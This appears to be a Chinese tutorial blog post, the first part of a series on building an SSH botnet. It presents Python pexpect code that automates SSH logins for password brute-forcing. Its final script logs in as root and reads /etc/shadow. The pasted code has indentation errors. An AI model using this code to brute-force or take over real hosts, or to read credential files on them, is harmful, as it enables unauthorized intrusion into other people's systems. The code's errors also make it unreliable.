【Python脚本进阶】2.2、构建一个SSH僵尸网络(上):SSH交互脚本

目录

一、简介

概述:

漏洞利用方式

二、用Pexpect与SSH交互

简介:

环境:

函数:

三、实现

第一步:

第二步:

整合:


一、简介

概述:

第一步:创建一个用来搜寻目标的端口扫描程序

现在来到第二步了

第二步:开始利用这些服务中的漏洞

漏洞利用方式

Morris蠕虫有三种攻击方式, 其中之一就是用常见的用户名和密码尝试登录RSH服务(remote shell)。RSH是1988年问世, 它为系统管理员提供远程连接一台机器, 并能在主机上运行一系列终端命令对它进行管理的方法


后来在RSH中增加一个公钥加密算法, 以保护其经过网络传递的数据, 这就是SSHC Secure Shell) 协议, 最终SSH 取代了RSH。不过, 对千防范用常见用户名和密码尝试暴力登录的攻击方法, 这并不能起到多大的作用。SSH 蠕虫已经被证明是非常成功的和常见的攻击方式


远程IP 地址正试图暴力生成可能的密码后, IDS 阻断该IP 继续尝试登录SSH 的企图



二、用Pexpect与SSH交互

简介:

实现我们自己的能暴力破解特定目标用户名/密码的SSH 蠕虫。因为SSH客户端需要用户与之进行交互, 我们的脚本必须在发送进一步的输入命令之前等待并“ 理解" 屏幕输出的意义


考虑以下情形:连接架在IP 地址127.0.0.1上SSH 的机器,应用程序首先会要求我们确认RSA 密钥指纹。必须回答“ 是" , 然后才能继续。在给我们一个命令提示符之前, 应用程序要求我们输入密码。最后,还要执行uname-v 命令来确定目标机器上系统内核的版本


 如果是拒绝连接的话,可能是ssh没启动

输入

sudo /etc/init.d/ssh start

环境:

为了能自动完成上述控制台交互过程, 需要使用一个第三方Python 模块一PexpectPexpect version 4.8 — Pexpect 4.8 documentationicon-default.png?t=M666https://pexpect.readthedocs.io/en/latest/Pexpect 能够实现与程序交互、等待预期的屏幕输出, 并据此做出不同的响应。这使得它成为自动暴力破解SSH 用户口令程序的首选工具。

函数:

prompt 是提示的意思. 在 Python 语言中,是一个用户自定义的字符串变量名,目的和作用就是把变量 prompt 的内容作为提示信息

pexpect. spawn收集交互期间生成的返回值



三、实现

第一步:

检测connect()函数。该函数接收的参数包括一个用户名、主机名和密码, 返回的是以此进行的SSH 连接的结果。


利用pexpect 库, 程序等待一个“可以预计到的“ 输出。可能会出现三种可能的输出: 超时、表示主机已使用一个新的公钥的消息和要求输入密码的提示。如果出现超时, 那么session.expect()返回0。用if 语句会识别出这一情况,打印一个错误消息后返回。如果child.expect()方法捕获了ssh_newkey 消息, 它会返回一个1, 这会使函数发送一个“ yes" 消息, 以接收新的密钥。之后, 函数等待密码提示,然后发送SSH 密码

import pexpect
PROMPT = ['#', '>>>', '>', '\$']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)


def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey,'[P|p]assword:'])
    if ret == 0:
        print('[-] Error Connecting')
        return
    if ret == 1:
    child.sendline('yes')
    ret = child.expect([pexpect.TIMEOUT, '[P|p] assword:'])
        if ret == 0:
            print('[-] Error Connecting')
            return
        child.sendline( password )
        child.expect( PROMPT )
        return child

第二步:

通过验证,就可以使用一个单独的command()函数在SSH 会话中发送命令。command()函数需要接收的参数是一个SSH 会话和命令字符串。然后,它向会话发送命令字符串, 并等待命令提示符再次出现。在获得命令提示符后,该函数把从SSH 会话那里得到的结果打印出来

import pexpect
PROMPT = ['#', '>>>', '>', '\$']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)

整合:

完整的模拟人交互行为的连接和控制SSH 会话的脚本

import pexpect
PROMPT = ['#', '>>>', '>', '\$']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)


def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey,'[P|p]assword:'])
    if ret == 0:
        print('[-] Error Connecting')
        return
    if ret == 1:
    child.sendline('yes')
    ret = child.expect([pexpect.TIMEOUT, '[P|p] assword:'])
        if ret == 0:
            print('[-] Error Connecting')
            return
        child.sendline( password )
        child.expect( PROMPT )
        return child


def main():
    host ='localhost'
    user ='root'
    password ='toor'
    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')


if __name__ == '__main__':
    main()

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值